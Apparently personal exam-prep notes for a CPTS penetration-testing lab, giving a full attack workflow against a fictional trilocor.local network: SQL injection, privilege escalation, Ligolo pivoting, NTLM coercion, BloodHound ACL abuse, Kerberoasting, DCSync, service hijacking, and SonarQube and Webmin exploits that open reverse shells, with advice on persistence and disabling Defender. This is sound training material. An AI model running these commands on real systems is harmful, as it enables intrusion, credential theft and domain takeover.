[!abstract]
> ABOUT_THIS_GUIDEThe attack flow of a full CPTS-style engagement, rebuilt from the Red Block trilocor.local writeup. Unlike a single HTB box, the exam is one big segmented network: an external DMZ, a pivot into internal AD, a long ACL/credential chain to Domain Admin, a forest trust into a second domain, and a dev-apps subnet. Command syntax lives in CPTS-Exam-Most-Used-Commands; the HTB-box methodology is in Attack-Flow-Guide. IPs/creds below are the writeup’s examples — swap in your own.
[!tip]+
> EXAM MINDSET
- It’s one network, not ten boxes. Every host you own is a pivot to the next subnet. Set up Ligolo early and keep a route map.
- Loot > exploits. The chain was driven by creds in files: SQLi dumps, NFS scripts, sublime/OneNote notes, AxCrypt/Ansible vaults,
.bakconfig files, LaZagne/LSA secrets.- New cred = re-enumerate. BloodHound + spray every new identity. The DA path was ~7 chained users via ACLs.
- Persist before you pivot. Grab
/root/.ssh/id_rsaand note every cred — lab resets happen.- Clock skew breaks Kerberoasting →
sudo ntpdate <DC>.- Take screenshots + note every flag location as you go (exam report requirement).
// FIRST_30_MINUTES (do this before anything else)
[!example]+
> OPENING MOVES
- Connect + confirm scope. Connect the exam VPN, read the assessment letter: how many flags, in-scope IP ranges/domains, and any given credentials (assume-breach). Note the flag count as your progress bar.
- Set up your workspace + trackers. These three files win the exam:
mkdir -p ~/cpts/{recon,loot,scans,exploits,screenshots} cd ~/cpts : > creds.md # user : pass/hash : where found : what it unlocks : > hosts.md # ip : hostname : os : role : how owned : flag? : > pivot.md # interface : subnet reachable : via which host- Kick off long scans in the background, work manually in the foreground.
export IP=<entry_host> nmap -p- --min-rate 5000 -oA scans/allports $IP & # full TCP (background) sudo nmap -sU --top-ports 100 -oA scans/udp $IP & # UDP top (background)- Fingerprint the open ports as soon as the fast scan returns, then start on web/given-cred services while the full scan finishes:
nmap -p <open,ports> -sCV -oA scans/services $IP- If given a domain name / creds, validate them straight away and jump to enumeration (SMB/LDAP/BloodHound). If given only an IP, the foothold is almost always web.
[!warning] Don’t rabbit-hole. Set a soft timer (~30-45 min) per avenue. If a service isn’t giving, note it in
hosts.mdand move on. Come back with new creds.
// TRIAGE — WHAT TO ATTACK FIRST
[!tip]+
> PRIORITY ORDERwhen a scan reveals many hosts/ports
- Given credentials (assume-breach) — validate over SMB/WinRM/SSH first, they open the fastest path.
- Web apps on the entry host — most CPTS footholds are a web bug (SQLi, upload, LFI, known-CMS RCE).
- Known-vulnerable software by version — SonarQube, Webmin, Anuko, Jenkins, GitLab, Tomcat, Confluence. Version → searchsploit → PoC.
- File services for loot — SMB/NFS/FTP shares, backups, deploy scripts, config
.bakfiles.- The DC — enumerate early (BloodHound) but you usually exploit it last, after the ACL chain.
- Brute force — last resort, run in the background, never block on it.
[!info] Rule of thumb: enumeration first, exploitation second. Every foothold in this engagement came from reading something (a dump, a note, a script, a vault), not from a flashy exploit.
// NETWORK_MAP (example)
// MASTER_FLOW
// PHASE_1 — EXTERNAL RECON
[!info] Look for: the internal domain name, a permissive nameserver (zone transfer), virtual hosts, staging/self-service portals.
[!terminal]+ Enumerate
# zone transfer against the internal NS — instantly maps subdomains dig axfr trilocor.local @$IP # vhost brute if AXFR is refused wfuzz -u http://$IP -H "Host: FUZZ.trilocor.local" -w /usr/share/seclists/Discovery/DNS/services-names.txt --hl <baseline> # add every discovered vhost to /etc/hosts echo "$IP trilocor.local blog.trilocor.local dev.trilocor.local selfservicestg.trilocor.local ..." | sudo tee -a /etc/hosts
[!tip] AXFR exposed
blog/dev/jobs/nms/selfservicestg/hrportal/shop/admin— the staging self-service portal is where the first bug lived. Fuzz all vhosts, prioritise staging/dev/self-service.
// PHASE_2 — WEB FOOTHOLD
[!info] Look for: injectable parameters (password-reset email fields, search), forms that talk to a DB. Mark the injection point with
*for sqlmap.
[!terminal]+ Test
# capture the POST in Burp, put * on the target param, save as email_post.req # email=* sqlmap -r email_post.req --batch --risk=3 --level=5 --threads 10 --dbs --dump # -> dumped employees table (usernames + md5). Crack on crackstation / hashcat -m 0Cracked DB creds became the reuse pool for the whole engagement. Keep a running users/passwords list.
// PHASE_3 — LINUX PRIVESC (DMZ host)
[!info] Look for (linPEAS): non-standard services (FTP on 2121 as a service user), anonymous login, path traversal,
sudo -lNOPASSWD binaries, SSH keys.
[!terminal]+ Enumerate + test
./linpeas.sh # find uftpd on 2121 running as srvadm # stabilise the shell before interactive tools python3 -c 'import pty; pty.spawn("/bin/bash")' # then Ctrl+Z; stty raw -echo; fg; export TERM=xterm ftp 127.0.0.1 2121 # anonymous, then path traversal: # ls ../../../../home/srvadm ; get ../../../../home/srvadm/.ssh/id_rsa chmod 600 srvadm_id_rsa && ssh -i srvadm_id_rsa srvadm@localhost sudo -l # (ALL) NOPASSWD: /usr/bin/csvtool sudo csvtool call '/bin/sh;false' /etc/passwd # GTFOBins -> root # PERSISTENCE: copy /root/.ssh/id_rsa off the box before pivoting
// PHASE_4 — PIVOT (Ligolo-ng)
[!info] Look for: internal subnets you can only reach through the compromised host. Set up the tunnel, ping-sweep, add routes. Repeat for each hop (double pivot).
[!terminal]+ Set up + sweep
# Kali side (first tunnel) sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up ./proxy -selfcert # on the compromised host ./agent -connect $LHOST:11601 -ignore-cert # back on Kali: session > start_tunnel, then route the internal subnet sudo ip route add 172.16.139.0/24 dev ligolo # DOUBLE PIVOT to the next subnet: new interface + route sudo ip tuntap add user kali mode tun ligolo-double && sudo ip link set ligolo-double up sudo ip route add 172.16.210.0/24 dev ligolo-double # host discovery inside a subnet for ip in $(seq 1 254); do ping -c1 -W1 172.16.139.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done
[!tip] Ligolo was used ~17 times in this engagement. Alternatives: SSH dynamic forward (
-D), chisel reverse SOCKS, socat. Keep a diagram of which route reaches which subnet.
// PHASE_5 — LOOT THE PIVOT HOSTS
[!info] Look for: NFS exports, setup/deploy scripts with hardcoded creds, SAM/SYSTEM dumps, cleartext creds via LaZagne.
[!terminal]+
showmount -e 172.16.139.35 # /SRV01 exported mkdir SRV01 && sudo mount -t nfs 172.16.139.35:/SRV01 SRV01 grep -ri "password\|jdbc\|secret" SRV01/ # liferay setup.py -> jdbc.default.password # on a Windows pivot host with local admin: secretsdump.py -sam SAM -system SYSTEM LOCAL # local hashes .\LaZagne.exe all # cleartext creds (found bvincent)
// PHASE_6 — AD FOOTHOLD
[!info] Look for: a first valid domain user (from LaZagne/loot), then coax hashes from privileged users via writable shares.
[!terminal]+ Validate + capture
echo 'PL<mko09ijn!' > bvincent.pass nxc smb 172.16.139.3 -u bvincent -p bvincent.pass --shares # write access to Print_queue # collect BloodHound: SharpHound on a domain-joined host (disable Defender first) # .\SharpHound.exe -c all # NTLMv2 coercion via a malicious .lnk dropped in the writable share, + Inveigh listener: # $lnk=(New-Object -ComObject WScript.Shell).CreateShortcut("C:\...\link.lnk") # $lnk.IconLocation="\\SRV01\@test.png"; $lnk.Save() -> copy into Print_queue # Import-Module .\Inveigh.ps1 (captures NTLMv2 when DC browses the share) hashcat -m 5600 phernandez.hash /usr/share/wordlists/rockyou.txt
[!tip] Also seen for local escalation to reach a domain user: Remote Mouse CVE-2021-35448 (LPE via Image Transfer Folder → SYSTEM cmd),
net localgroup Administrators <user> /add+ re-login + PsExec.
// PHASE_7 — THE ACL CHAIN (BloodHound)
[!info] This is the exam’s core. Own each account, mark it owned, read Outbound Object Control, abuse the edge, get the next account, repeat. The trilocor chain:
AllExtendedRights
GenericWrite
GenericWrite over user
+ Exchange Trusted Subsystem
[!terminal]+ The abuse commands (bloodyAD + targetedKerberoast)
# AllExtendedRights / ForceChangePassword -> reset target bloodyAD --host $DC -d ad.trilocor.local -u phernandez -p bLink182 set password ghiggins Test@123 # GenericWrite over a group -> add self, inherit rights bloodyAD -d ad.trilocor.local --host $DC -u ghiggins -p Test@123 add groupMember 'CONTRACTORS' ghiggins # GenericWrite over a user -> set SPN -> targeted kerberoast bloodyAD --host $DC -d ad.trilocor.local -u ghiggins -p Test@123 set object divanov servicePrincipalName -v 'any/SPN' sudo ntpdate 172.16.139.3 # fix skew first python3 targetedKerberoast.py -v -d ad.trilocor.local -u ghiggins -p Test@123 --dc-ip $DC --request-user divanov hashcat -m 13100 divanov.hash /usr/share/wordlists/rockyou.txt # map what any account can write bloodyAD --host $DC -d ad.trilocor.local -u divanov -p Dimitris2001 get writable --detail
[!tip] Also useful: deleted-user password reuse — a deleted account’s
descriptionheld a password that still worked on the live_admtwin (fjenkins_test→fjenkins_adm).
// PHASE_8 — SHARE LOOT → SERVICE CREDS
[!info] Look for: as soon as you gain a share-admin group, spider every share for backups, credential files, encrypted vaults.
[!terminal]+
nxc smb $DC -u fjenkins_adm -p 'fJ#nk!n$$@123' --shares nxc smb $DC -u fjenkins_adm -p 'fJ#nk!n$$@123' --spider 'Department Shares' --regex . smbclient "//$DC/Department Shares/" -U 'fjenkins_adm' # pull the .axx / .one files # AxCrypt backup: axcrypt2john Trilocor_backup.axx > backup.hash && john backup.hash --wordlist=rockyou.txt # OneNote credential file: office2john "Creds.one" > onenote.hash && john onenote.hash --wordlist=rockyou.txt # -> svc_trilocoradm / svc_adconnect / svc_bakops creds
// PHASE_9 — DCSYNC → DOMAIN ADMIN
[!terminal]+
# Account Operators -> add self to a group that HAS DCSync (Exchange Trusted Subsystem) bloodyAD -d ad.trilocor.local --host $DC -u svc_trilocoradm -p 'SvC_TR!l0cORAdm!23' \ add groupMember 'EXCHANGE TRUSTED SUBSYSTEM' svc_trilocoradm # confirm in BloodHound: "Find Principals with DCSync Rights" impacket-secretsdump 'trilocor.local/svc_trilocoradm:SvC_TR!l0cORAdm!23@'$DC | tee dcsync.txt nxc winrm $DC -u administrator -H <admin_NT> # DA xfreerdp /v:$DC /u:administrator /pth:<admin_NT> /cert:ignore /dynamic-resolution
// PHASE_10 — FOREST TRUST → SECOND DOMAIN
[!info] Look for:
Get-DomainTrustoutput, a foothold user in the other domain, ReadGMSAPassword edges.
[!terminal]+
Get-DomainTrust # bidirectional / within-forest echo "172.16.210.5 mgmt.trilocorvendor.local DC02.mgmt.trilocorvendor.local" | sudo tee -a /etc/hosts bloodhound-python -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -ns 172.16.210.3 -c all --zip # ReadGMSAPassword -> dump gMSA python3 gMSADumper.py -u mvargas_adm -p 'admin!@#' -d mgmt.trilocorvendor.local -l 172.16.210.5 evil-winrm -i 172.16.210.5 -u 'svc_triconnect$' -H <gmsa_NT> # local privesc: weak service perms -> hijack binPath sc.exe config VMTools binPath= "cmd /c net localgroup Administrators svc_triconnect$ /add" sc.exe stop VMTools && sc.exe start VMTools impacket-secretsdump 'mgmt.trilocorvendor.local/svc_triconnect$@172.16.210.5' -hashes :<gmsa_NT> # loot: vault.yml (Ansible Vault) -> ansible2john + john -> svc_ansible creds ansible2john ansible-password.yml > a.hash && john a.hash -w=rockyou.txt cat ansible-password.yml | ansible-vault decrypt
// PHASE_11 — DEV-APPS SUBNET
[!info] Look for: dev/CI web apps on odd ports (SonarQube 9000, Webmin 10000, Anuko),
.bakconfig files with admin creds, LaZagne LSA secrets bridging app logins.
[!terminal]+ SonarQube 7.8 (9000) → SYSTEM
# creds from sonar.properties.bak -> log in admin -> version 7.8 is exploitable git clone https://github.com/braindead-sec/pwnrqube && cd pwnrqube/totally-benign-plugin # edit src/main/java/benign.java revshell to a PowerShell payload to your pivot:4444 mvn clean package curl --user admin:<pw> -X POST -F file=@target/totally-benign-plugin-1.0.jar http://172.16.210.21:9000/api/updatecenter/upload curl --user admin:<pw> -X POST http://172.16.210.21:9000/api/system/restart # triggers SYSTEM revshell
[!terminal]+ Anuko Time Tracker (.34) → creds, Webmin (10000) → root
# Anuko admin via LaZagne DefaultPassword -> create group+user -> enable Puncher plugin # CVE-2022-24707 SQLi: python3 Anuko-SQL-Exploit.py --username tester --password <pw> --host http://172.16.210.34 \ --sqli "SELECT GROUP_CONCAT(login,password) FROM tt_users" # dump -> crack svc_webmin # Webmin 1.996 CVE-2022-30708 -> root git clone https://github.com/esp0xdeadbeef/rce_webmin && cd rce_webmin python3 exploit.py --url http://172.16.210.34:10000 -pw <pw> -un svc_webmin -rh 172.16.210.3 -rp 4444
// PER-HOST PLAYBOOK (run on EVERY machine)
The same routine on every host you meet. Discover → foothold → post-shell → loot → escalate → pivot.
> A. ON DISCOVERY (before a shell)
[!terminal]+ Scan + fingerprint every new IP
export IP=<new_host> nmap -p- --min-rate 5000 -oA scans/$IP-all $IP nmap -p <open> -sCV -oA scans/$IP-svc $IP # web? -> vhost fuzz + dirs + version-check every port that speaks HTTP whatweb http://$IP:PORT ; curl -sI http://$IP:PORT feroxbuster -u http://$IP:PORT -x php,aspx,html # windows/AD? -> quick creds + shares check with anything you have nxc smb $IP ; nxc smb $IP -u user -p pass --shares --usersLook for: given-cred services, web bugs, known-vuln versions, readable shares. Record the host in
hosts.md.
> B. AFTER A SHELL — LINUX
[!terminal]+ First commands, then loot
id; hostname; ip a; sudo -l # sudo -l FIRST (instant wins) # stabilise shell python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z; stty raw -echo; fg; export TERM=xterm ./linpeas.sh | tee loot/$IP-linpeas.txt find / -perm -u=s -type f 2>/dev/null # SUID -> GTFOBins cat /etc/crontab; ls -la /etc/cron.* ls -la ~/.ssh /root/.ssh /home/*/.ssh 2>/dev/null # keys cat ~/.bash_history; env # tokens, hardcoded creds grep -rEi "password|secret|jdbc|api[_-]?key" /var/www /opt /home /srv 2>/dev/nullThen: grab any SSH key for persistence, note new creds, and check reachable subnets (
ip route,ip a) — this host may be your next pivot.
> C. AFTER A SHELL — WINDOWS
[!terminal]+ First commands, then loot
whoami /all # groups AND privileges (SeImpersonate/SeDebug/SeBackup) systeminfo; ipconfig /all; route print # note extra NICs -> pivot subnets net user %username% /domain; net localgroup administrators cmdkey /list # stored creds # loot .\winPEASx64.exe | Out-File loot\winpeas.txt .\LaZagne.exe all # cleartext creds / LSA / browsers dir -recurse C:\ *.kdbx,*.axx,*.one,*.config,*.bak,*vault*,*.ps1 2>$null | select fullname dir -recurse C:\ *.txt | select-string -pattern "password"Then: if domain-joined, run SharpHound (disable Defender via GUI/
Set-MpPreferencefirst), and re-check ADCS/ACLs from this host’s context.
> D. ESCALATE (pick the lever)
[!tip]+
- Linux:
sudo -lbinary (GTFOBins), SUID, cron, writable service, kernel/app CVE.- Windows local:
SeImpersonate(Potato),SeDebug, weak service perms (sc.exe config binPath), unquoted path, known-app LPE (e.g. Remote Mouse CVE-2021-35448).- Windows domain: BloodHound outbound control → ACL abuse (see Phase 7) → DCSync.
> E. PIVOT + PERSIST (before you leave)
[!warning]+
- Copy off any SSH key / hash / cleartext cred and log it.
- Add this host as a Ligolo agent if it reaches a new subnet, then
ip route add.- Set persistence (SSH key in
authorized_keys, or an added local admin) in case of lab reset.- Grab the flag and record its exact path in
hosts.md.
// PER-SUBNET PLAYBOOK (each time you pivot)
[!terminal]+ When a new subnet becomes reachable
sudo ip route add <new_subnet>/24 dev ligolo # or ligolo-double # host discovery through the tunnel for ip in $(seq 1 254); do ping -c1 -W1 <net>.$ip | grep "bytes from" | cut -d" " -f4 | tr -d ':'; done # scan each live host (proxychains if not routed via ligolo) nmap -sn <new_subnet>/24 ; nmap -p- --min-rate 3000 <live_host> # find + name the DC nxc smb <live_host> --generate-hosts-file /etc/hosts # re-run BloodHound from this vantage with any creds you hold bloodhound-python -u user -p pass -d <domain> -ns <dc_ip> -c all --zipLook for: a new DC (new domain/forest), dev-app ports (9000/10000/8080/8443/50000), file shares, and any host that bridges to yet another subnet. Update
pivot.md.
// EXAM_CHECKLIST
[!todo]+ Don’t lose points
- Screenshot every step + note every flag location (path + how obtained).
- Keep a credential log (user : pass/hash : where found : what it unlocks).
- Keep a route/pivot map (which interface reaches which subnet).
- Set persistence (SSH key / added admin) before risky steps.
ntpdatebefore Kerberos; re-run BloodHound per new principal.- Re-check writable shares and
get writable --detailat each new AD user.- Enumerate odd ports (9000/10000/8080/2121) — dev apps hold flags.
// REFERENCES
[!info]+ Source: CPTS Writeup by Red Block (trilocor.local). Tooling: bloodyAD, targetedKerberoast, Ligolo-ng, Inveigh, gMSADumper, LaZagne, Impacket, NetExec, certipy. Companion notes: CPTS-Exam-Most-Used-Commands · Attack-Flow-Guide · Most-Used-Commands.
#Methodology #CPTS-Prep #CPTS-Exam #AD #Pivoting #Workflow #HTB